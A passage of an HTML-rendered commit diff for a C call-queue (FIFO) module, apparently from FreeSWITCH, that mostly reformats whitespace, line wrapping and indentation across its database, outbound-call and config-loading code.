</span><del>-                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -321,7 +322,7 @@
</span><span class="cx">         status = switch_cache_db_execute_sql(dbh, sql, NULL);
</span><span class="cx">
</span><span class="cx"> end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&dbh);
</span><span class="cx">
</span><span class="cx">         if (mutex) {
</span><span class="lines">@@ -336,16 +337,16 @@
</span><span class="cx">         switch_bool_t ret = SWITCH_FALSE;
</span><span class="cx">         char *errmsg = NULL;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_lock(mutex);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!(dbh = fifo_get_db_handle())) {
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
- goto end;
- }
-        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
+                goto end;
+        }
+
</ins><span class="cx">         switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
</span><span class="cx">
</span><span class="cx">         if (errmsg) {
</span><span class="lines">@@ -429,7 +430,7 @@
</span><span class="cx">         switch_mutex_unlock(node->mutex);
</span><span class="cx">
</span><span class="cx">         return total;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t hanguphook(switch_core_session_t *session)
</span><span class="lines">@@ -441,9 +442,10 @@
</span><span class="cx">
</span><span class="cx">         if (state == CS_HANGUP || state == CS_ROUTING) {
</span><span class="cx">                 if ((uuid = switch_channel_get_variable(channel, "fifo_outbound_uuid"))) {
</span><del>-                        switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count-1, outbound_call_count=outbound_call_count+1, next_avail=%ld + lag where uuid='%s'",
-                                                        (long)switch_epoch_time_now(NULL), uuid);
-                                                        
</del><ins>+                        switch_snprintf(sql, sizeof(sql),
+                                                        "update fifo_outbound set use_count=use_count-1, outbound_call_count=outbound_call_count+1, next_avail=%ld + lag where uuid='%s'",
+                                                        (long) switch_epoch_time_now(NULL), uuid);
+
</ins><span class="cx">                         fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="cx">                 }
</span><span class="cx">                 switch_core_event_hook_remove_state_change(session, hanguphook);
</span><span class="lines">@@ -476,7 +478,7 @@
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">         node = switch_core_hash_find(globals.fifo_hash, h->node_name);
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (node) {
</span><span class="cx">                 switch_mutex_lock(node->mutex);
</span><span class="cx">                 node->ring_consumer_count++;
</span><span class="lines">@@ -485,19 +487,21 @@
</span><span class="cx">
</span><span class="cx">         switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count+1 where uuid='%s'", h->uuid);
</span><span class="cx">         fifo_execute_sql(sql, globals.sql_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_create(&ovars, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">         switch_assert(ovars);
</span><span class="cx">         switch_event_add_header(ovars, SWITCH_STACK_BOTTOM, "originate_timeout", "%d", h->timeout);
</span><del>-        
-        if (switch_ivr_originate(NULL, &session, &cause, h->originate_string, h->timeout, NULL, NULL, NULL, NULL, ovars, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
-                switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count-1, outbound_fail_count=outbound_fail_count+1, next_avail=%ld + lag where uuid='%s'",
-                                                (long)switch_epoch_time_now(NULL), h->uuid);
</del><ins>+
+        if (switch_ivr_originate(NULL, &session, &cause, h->originate_string, h->timeout, NULL, NULL, NULL, NULL, ovars, SOF_NONE, NULL) !=
+                SWITCH_STATUS_SUCCESS) {
+                switch_snprintf(sql, sizeof(sql),
+                                                "update fifo_outbound set use_count=use_count-1, outbound_fail_count=outbound_fail_count+1, next_avail=%ld + lag where uuid='%s'",
+                                                (long) switch_epoch_time_now(NULL), h->uuid);
</ins><span class="cx">                 fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">
</span><span class="cx">         if ((member_wait = switch_channel_get_variable(channel, "fifo_member_wait")) || (member_wait = switch_channel_get_variable(channel, "member_wait"))) {
</span><span class="lines">@@ -521,7 +525,8 @@
</span><span class="cx">         switch_event_destroy(&ovars);
</span><span class="cx">         if (node) {
</span><span class="cx">                 switch_mutex_lock(node->mutex);
</span><del>-                if (node->ring_consumer_count-- < 0) node->ring_consumer_count = 0;
</del><ins>+                if (node->ring_consumer_count-- < 0)
+                        node->ring_consumer_count = 0;
</ins><span class="cx">                 switch_mutex_unlock(node->mutex);
</span><span class="cx">         }
</span><span class="cx">         switch_core_destroy_memory_pool(&h->pool);
</span><span class="lines">@@ -538,7 +543,7 @@
</span><span class="cx">         switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         struct call_helper *h;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_new_memory_pool(&pool);
</span><span class="cx">         h = switch_core_alloc(pool, sizeof(*h));
</span><span class="cx">         h->pool = pool;
</span><span class="lines">@@ -554,7 +559,7 @@
</span><span class="cx">         switch_thread_create(&thread, thd_attr, o_thread_run, h, h->pool);
</span><span class="cx">
</span><span class="cx">         (*need)--;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return *need ? 0 : -1;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -576,10 +581,10 @@
</span><span class="cx"> static void *SWITCH_THREAD_FUNC node_thread_run(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><span class="cx">         fifo_node_t *node;
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.node_thread_running = 1;
</span><span class="cx">
</span><del>-        while(globals.node_thread_running == 1) {
</del><ins>+        while (globals.node_thread_running == 1) {
</ins><span class="cx">                 switch_hash_index_t *hi;
</span><span class="cx">                 void *val;
</span><span class="cx">                 const void *var;
</span><span class="lines">@@ -588,22 +593,22 @@
</span><span class="cx">                 switch_mutex_lock(globals.mutex);
</span><span class="cx">                 for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                         switch_hash_this(hi, &var, NULL, &val);
</span><del>-                        if ((node = (fifo_node_t *) val)) {
-                        if (node->has_outbound && node->ready) {
-                                switch_mutex_lock(node->mutex);
-                                ppl_waiting = node_consumer_wait_count(node);
-                                consumer_total = node->consumer_count;
-                                idle_consumers = node_idle_consumers(node);
</del><ins>+                        if ((node = (fifo_node_t *) val)) {
+                                if (node->has_outbound && node->ready) {
+                                        switch_mutex_lock(node->mutex);
+                                        ppl_waiting = node_consumer_wait_count(node);
+                                        consumer_total = node->consumer_count;
+                                        idle_consumers = node_idle_consumers(node);
</ins><span class="cx">
</span><del>-                                /* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                "%s waiting %d consumer_total %d idle_consumers %d ring_consumers %d\n", node->name, ppl_waiting, consumer_total, idle_consumers, node->ring_consumer_count); */
-                
-                                if ((ppl_waiting - node->ring_consumer_count > 0)&& (!consumer_total || !idle_consumers)) {
-                                        find_consumers(node);
</del><ins>+                                        /* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+                                         "%s waiting %d consumer_total %d idle_consumers %d ring_consumers %d\n", node->name, ppl_waiting, consumer_total, idle_consumers, node->ring_consumer_count); */
+
+                                        if ((ppl_waiting - node->ring_consumer_count > 0) && (!consumer_total || !idle_consumers)) {
+                                                find_consumers(node);
+                                        }
+                                        switch_mutex_unlock(node->mutex);
</ins><span class="cx">                                 }
</span><del>-                                switch_mutex_unlock(node->mutex);
</del><span class="cx">                         }
</span><del>-                        }
</del><span class="cx">                 }
</span><span class="cx">                 switch_mutex_unlock(globals.mutex);
</span><span class="cx">
</span><span class="lines">@@ -611,7 +616,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         globals.node_thread_running = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -632,7 +637,7 @@
</span><span class="cx">
</span><span class="cx">         if (globals.node_thread_running) {
</span><span class="cx">                 globals.node_thread_running = -1;
</span><del>-                while(globals.node_thread_running) {
</del><ins>+                while (globals.node_thread_running) {
</ins><span class="cx">                         switch_yield(500000);
</span><span class="cx">                         if (!--sanity) {
</span><span class="cx">                                 return -1;
</span><span class="lines">@@ -643,15 +648,15 @@
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void check_cancel(fifo_node_t *node)
</del><ins>+static void check_cancel(fifo_node_t *node)
</ins><span class="cx"> {
</span><span class="cx">         int ppl_waiting = node_consumer_wait_count(node);
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (node->ring_consumer_count > 0 && ppl_waiting < 1) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Outbound call count (%d) exceeds required value for queue %s (%d), "
</span><span class="cx">                                                  "Ending extraneous calls\n", node->ring_consumer_count, node->name, ppl_waiting);
</span><del>-                                                
-                                                
</del><ins>+
+
</ins><span class="cx">                 switch_core_session_hupall_matching_var("fifo_hangup_check", node->name, SWITCH_CAUSE_ORIGINATOR_CANCEL);
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -735,12 +740,12 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         str = switch_mprintf("dial:%s", url);
</span><span class="cx">         switch_queue_push(node->fifo_list[priority], (void *) str);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return switch_queue_size(node->fifo_list[priority]);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -769,16 +774,16 @@
</span><span class="cx">
</span><span class="cx">         stream->write_function(stream, "%d", fifo_add_outbound(argv[0], argv[1], priority));
</span><span class="cx">
</span><del>-        
-        free(data);        
-        return SWITCH_STATUS_SUCCESS;        
</del><span class="cx">
</span><ins>+        free(data);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx">
</span><del>- fail:
</del><span class="cx">
</span><del>-        free(data);        
</del><ins>+ fail:
+
+        free(data);
</ins><span class="cx">         stream->write_function(stream, "0");
</span><del>-        return SWITCH_STATUS_SUCCESS;        
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -868,7 +873,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(node = switch_core_hash_find(globals.fifo_hash, nlist[i]))) {
</span><span class="cx">                         node = create_node(nlist[i], importance, globals.sql_mutex);
</span><span class="cx">                         node->ready = 1;
</span><span class="lines">@@ -982,7 +987,7 @@
</span><span class="cx">                         switch_event_add_header(event, SWITCH_STACK_BOTTOM, "FIFO-Slot", "%d", p);
</span><span class="cx">                         switch_event_fire(&event);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_queue_push(node->fifo_list[p], (void *) strdup(uuid));
</span><span class="cx">                 switch_snprintf(tmp, sizeof(tmp), "%d", switch_queue_size(node->fifo_list[p]));
</span><span class="cx">                 switch_channel_set_variable(channel, "fifo_position", tmp);
</span><span class="lines">@@ -1300,14 +1305,15 @@
</span><span class="cx">                                 switch_call_cause_t cause = SWITCH_CAUSE_NONE;
</span><span class="cx">                                 const char *o_announce = NULL;
</span><span class="cx">                                 url = uuid + 5;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((o_announce = switch_channel_get_variable(channel, "fifo_outbound_announce"))) {
</span><span class="cx">                                         switch_ivr_play_file(session, NULL, o_announce, NULL);
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (switch_ivr_originate(session, &other_session, &cause, url, 120, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         other_session = NULL;
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Originate to [%s] failed, cause: %s\n", url, switch_channel_cause2str(cause));
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Originate to [%s] failed, cause: %s\n", url,
+                                                                         switch_channel_cause2str(cause));
</ins><span class="cx">
</span><span class="cx">                                         if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_channel_event_set_data(channel, event);
</span><span class="lines">@@ -1317,7 +1323,7 @@
</span><span class="cx">                                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Outbound-URL", url);
</span><span class="cx">                                                 switch_event_fire(&event);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_channel_event_set_data(channel, event);
</span><span class="lines">@@ -1326,7 +1332,7 @@
</span><span class="cx">                                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Result", "success");
</span><span class="cx">                                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Outbound-URL", url);
</span><span class="cx">                                                 switch_event_fire(&event);
</span><del>-                                        }                                        
</del><ins>+                                        }
</ins><span class="cx">                                         url = NULL;
</span><span class="cx">                                         free(uuid);
</span><span class="cx">                                         uuid = strdup(switch_core_session_get_uuid(other_session));
</span><span class="lines">@@ -1351,7 +1357,7 @@
</span><span class="cx">                                 const char *record_template = switch_channel_get_variable(channel, "fifo_record_template");
</span><span class="cx">                                 char *expanded = NULL;
</span><span class="cx">
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_channel_event_set_data(channel, event);
</span><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Name", argv[0]);
</span><span class="lines">@@ -1385,7 +1391,7 @@
</span><span class="cx">                                         const char *app = switch_channel_get_variable(other_channel, "current_application");
</span><span class="cx">                                         const char *arg = switch_channel_get_variable(other_channel, "current_application_data");
</span><span class="cx">                                         switch_caller_extension_t *extension = NULL;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_mutex_lock(node->mutex);
</span><span class="cx">                                         node->caller_count--;
</span><span class="cx">                                         switch_core_hash_delete(node->caller_hash, uuid);
</span><span class="lines">@@ -1454,7 +1460,7 @@
</span><span class="cx">                                 switch_ivr_multi_threaded_bridge(session, other_session, on_dtmf, other_session, session);
</span><span class="cx">                                 switch_core_media_bug_pause(session);
</span><span class="cx">                                 switch_core_media_bug_pause(other_session);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (record_template) {
</span><span class="cx">                                         switch_ivr_stop_record_session(session, expanded);
</span><span class="cx">                                         if (expanded != record_template) {
</span><span class="lines">@@ -1487,7 +1493,7 @@
</span><span class="cx">                                 fifo_consumer_wrapup_sound = switch_channel_get_variable(channel, "fifo_consumer_wrapup_sound");
</span><span class="cx">                                 fifo_consumer_wrapup_key = switch_channel_get_variable(channel, "fifo_consumer_wrapup_key");
</span><span class="cx">                                 sfifo_consumer_wrapup_time = switch_channel_get_variable(channel, "fifo_consumer_wrapup_time");
</span><del>-                                if (!zstr(sfifo_consumer_wrapup_time)){
</del><ins>+                                if (!zstr(sfifo_consumer_wrapup_time)) {
</ins><span class="cx">                                         fifo_consumer_wrapup_time = atoi(sfifo_consumer_wrapup_time);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         fifo_consumer_wrapup_time = 5000;
</span><span class="lines">@@ -1511,15 +1517,15 @@
</span><span class="cx">                                         args.buflen = sizeof(buf);
</span><span class="cx">                                         switch_ivr_play_file(session, NULL, fifo_consumer_wrapup_sound, &args);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (fifo_consumer_wrapup_time) {
</span><span class="cx">                                         wrapup_time_started = switch_micro_time_now();
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (!zstr(fifo_consumer_wrapup_key) && strcmp(buf, fifo_consumer_wrapup_key)) {
</span><del>-                                        while(switch_channel_ready(channel)) {
</del><ins>+                                        while (switch_channel_ready(channel)) {
</ins><span class="cx">                                                 char terminator = 0;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (fifo_consumer_wrapup_time) {
</span><span class="cx">                                                         wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
</span><span class="cx">                                                         if (wrapup_time_elapsed > fifo_consumer_wrapup_time) {
</span><span class="lines">@@ -1529,14 +1535,15 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><span class="cx">
</span><del>-                                                switch_ivr_collect_digits_count(session, buf, sizeof(buf) - 1, 1, fifo_consumer_wrapup_key, &terminator, 0, 0, (uint32_t) wrapup_time_remaining);
</del><ins>+                                                switch_ivr_collect_digits_count(session, buf, sizeof(buf) - 1, 1, fifo_consumer_wrapup_key, &terminator, 0, 0,
+                                                                                                                (uint32_t) wrapup_time_remaining);
</ins><span class="cx">                                                 if ((terminator == *fifo_consumer_wrapup_key) || !(switch_channel_ready(channel))) {
</span><span class="cx">                                                         break;
</span><span class="cx">                                                 }
</span><span class="cx">
</span><span class="cx">                                         }
</span><span class="cx">                                 } else if (fifo_consumer_wrapup_time && (zstr(fifo_consumer_wrapup_key) || !strcmp(buf, fifo_consumer_wrapup_key))) {
</span><del>-                                        while(switch_channel_ready(channel)) {
</del><ins>+                                        while (switch_channel_ready(channel)) {
</ins><span class="cx">                                                 wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
</span><span class="cx">                                                 if (wrapup_time_elapsed > fifo_consumer_wrapup_time) {
</span><span class="cx">                                                         break;
</span><span class="lines">@@ -1546,7 +1553,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                                 switch_channel_set_variable(channel, "fifo_status", "WAITING");
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (do_wait && switch_channel_ready(channel)) {
</span><span class="cx">                                 if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_channel_event_set_data(channel, event);
</span><span class="lines">@@ -1556,7 +1563,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_channel_event_set_data(channel, event);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Name", argv[0]);
</span><span class="lines">@@ -1577,7 +1584,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">         if (node && node->ready == FIFO_DELAY_DESTROY && node->consumer_count == 0 && node->caller_count == 0) {
</span><span class="lines">@@ -1636,7 +1643,7 @@
</span><span class="cx">         switch_xml_set_attr_d(x_out, "outbound-call-count", argv[10]);
</span><span class="cx">         switch_xml_set_attr_d(x_out, "outbound-fail-count", argv[11]);
</span><span class="cx">         switch_xml_set_attr_d(x_out, "next-available", expires);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_set_txt_d(x_out, argv[2]);
</span><span class="cx">
</span><span class="cx">         return 0;
</span><span class="lines">@@ -1657,7 +1664,7 @@
</span><span class="cx">         h.verbose = verbose;
</span><span class="cx">
</span><span class="cx">         fifo_execute_sql_callback(globals.sql_mutex, sql, xml_callback, &h);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(sql);
</span><span class="cx">
</span><span class="cx">         return h.cc_off;
</span><span class="lines">@@ -1736,7 +1743,7 @@
</span><span class="cx">         switch_xml_set_attr_d(x_fifo, "waiting_count", tmp);
</span><span class="cx">         switch_snprintf(tmp, sizeof(buffer), "%u", node->importance);
</span><span class="cx">         switch_xml_set_attr_d(x_fifo, "importance", tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         cc_off = xml_outbound(x_fifo, node, "outbound", "member", cc_off, verbose);
</span><span class="cx">         cc_off = xml_hash(x_fifo, node->caller_hash, "callers", "caller", cc_off, verbose);
</span><span class="cx">         cc_off = xml_hash(x_fifo, node->consumer_hash, "consumers", "consumer", cc_off, verbose);
</span><span class="lines">@@ -1851,7 +1858,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-const char outbound_sql[] =
</del><ins>+const char outbound_sql[] =
</ins><span class="cx">         "create table fifo_outbound (\n"
</span><span class="cx">         " uuid varchar(255),\n"
</span><span class="cx">         " fifo_name varchar(255),\n"
</span><span class="lines">@@ -1861,19 +1868,14 @@
</span><span class="cx">         " timeout integer,\n"
</span><span class="cx">         " lag integer,\n"
</span><span class="cx">         " next_avail integer,\n"
</span><del>-        " expires integer,\n"
-        " static integer,\n"
-        " outbound_call_count integer,"
-        " outbound_fail_count integer,"
-        " hostname varchar(255)\n"
-        ");\n";
</del><ins>+        " expires integer,\n" " static integer,\n" " outbound_call_count integer," " outbound_fail_count integer," " hostname varchar(255)\n" ");\n";
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> static switch_status_t load_config(int reload, int del_all)
</span><span class="cx"> {
</span><span class="cx">         char *cf = "fifo.conf";
</span><span class="cx">         switch_xml_t cfg, xml, fifo, fifos, member, settings, param;
</span><del>-        switch_status_t status = SWITCH_STATUS_SUCCESS;        
</del><ins>+        switch_status_t status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx">         char *sql;
</span><span class="cx">         switch_bool_t delete_all_outbound_member_on_startup = SWITCH_FALSE;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="lines">@@ -1892,7 +1894,7 @@
</span><span class="cx">
</span><span class="cx">                         var = (char *) switch_xml_attr_soft(param, "name");
</span><span class="cx">                         val = (char *) switch_xml_attr_soft(param, "value");
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(var, "odbc-dsn") && !zstr(val)) {
</span><span class="cx">                                 if (switch_odbc_available()) {
</span><span class="cx">                                         globals.odbc_dsn = switch_core_strdup(globals.pool, val);
</span><span class="lines">@@ -1915,13 +1917,13 @@
</span><span class="cx">                 globals.dbname = "fifo";
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (!(dbh = fifo_get_db_handle())) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot open DB!\n");
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_test_reactive(dbh, "delete from fifo_outbound where static = 1", "drop table fifo_outbound", outbound_sql);
</span><span class="cx">         switch_cache_db_release_db_handle(&dbh);
</span><span class="cx">
</span><span class="lines">@@ -1939,12 +1941,12 @@
</span><span class="cx">                 switch_mutex_unlock(globals.mutex);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if ((reload && del_all) || (!reload && delete_all_outbound_member_on_startup) ) {
</del><ins>+        if ((reload && del_all) || (!reload && delete_all_outbound_member_on_startup)) {
</ins><span class="cx">                 sql = switch_mprintf("delete from fifo_outbound where hostname='%q'", globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 sql = switch_mprintf("delete from fifo_outbound where static=1 and hostname='%q'", globals.hostname);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="cx">         switch_safe_free(sql);
</span><span class="cx">
</span><span class="lines">@@ -1959,14 +1961,14 @@
</span><span class="cx">                         int timeout_i = 60;
</span><span class="cx">                         int lag_i = 10;
</span><span class="cx">                         fifo_node_t *node;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         name = switch_xml_attr(fifo, "name");
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((importance = switch_xml_attr(fifo, "importance"))) {
</span><span class="cx">                                 if ((imp = atoi(importance)) < 0) {
</span><span class="cx">                                         imp = 0;
</span><span class="cx">                                 }
</span><del>-                        }                                
</del><ins>+                        }
</ins><span class="cx">
</span><span class="cx">                         if (!name) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "fifo has no name!\n");
</span><span class="lines">@@ -1978,11 +1980,11 @@
</span><span class="cx">                                 node = create_node(name, imp, globals.sql_mutex);
</span><span class="cx">                         }
</span><span class="cx">                         switch_mutex_unlock(globals.mutex);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_assert(node);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_mutex_lock(node->mutex);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (member = switch_xml_child(fifo, "member"); member; member = member->next) {
</span><span class="cx">                                 const char *simo = switch_xml_attr_soft(member, "simo");
</span><span class="cx">                                 const char *lag = switch_xml_attr_soft(member, "lag");
</span><span class="lines">@@ -2007,12 +2009,12 @@
</span><span class="cx">                                                 lag_i = 10;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 name_dup = strdup(node->name);
</span><span class="cx">                                 if ((p = strchr(name_dup, '@'))) {
</span><span class="cx">                                         *p = '\0';
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (switch_stristr("origination_caller_id", member->txt)) {
</span><span class="cx">                                         sql = switch_mprintf("insert into fifo_outbound "
</span><span class="cx">                                                                                  "(uuid, fifo_name, originate_string, simo_count, use_count, timeout, lag, "
</span><span class="lines">@@ -2030,7 +2032,7 @@
</span><span class="cx">                                                                                  "'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,"
</span><span class="cx">                                                                                  "origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,0,0,1,0,0,'%q')",
</span><span class="cx">                                                                                  digest, node->name, node->name, name_dup, member->txt, simo_i, 0, timeout_i, lag_i, globals.hostname);
</span><del>-                                                                                
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 switch_assert(sql);
</span><span class="lines">@@ -2038,14 +2040,14 @@
</span><span class="cx">                                 free(sql);
</span><span class="cx">                                 free(name_dup);
</span><span class="cx">                                 node->has_outbound = 1;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                         node->ready = 1;
</span><span class="cx">                         node->is_static = 1;
</span><span class="cx">                         switch_mutex_unlock(node->mutex);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s configured\n", node->name);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         switch_xml_free(xml);
</span><span class="lines">@@ -2057,7 +2059,7 @@
</span><span class="cx">                 void *val, *pop;
</span><span class="cx">                 fifo_node_t *node;
</span><span class="cx">                 switch_mutex_lock(globals.mutex);
</span><del>-        top:
</del><ins>+         top:
</ins><span class="cx">                 for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                         int x = 0;
</span><span class="cx">                         switch_hash_this(hi, NULL, NULL, &val);
</span><span class="lines">@@ -2076,7 +2078,7 @@
</span><span class="cx">                                                 free(pop);
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_hash_delete(globals.fifo_hash, node->name);
</span><span class="cx">                                 switch_core_hash_destroy(&node->caller_hash);
</span><span class="cx">                                 switch_core_hash_destroy(&node->consumer_hash);
</span><span class="lines">@@ -2099,15 +2101,15 @@
</span><span class="cx">         char digest[SWITCH_MD5_DIGEST_STRING_SIZE] = { 0 };
</span><span class="cx">         char *sql, *name_dup, *p;
</span><span class="cx">         fifo_node_t *node = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_md5_string(digest, (void *) originate_string, strlen(originate_string));
</span><del>-        
</del><ins>+
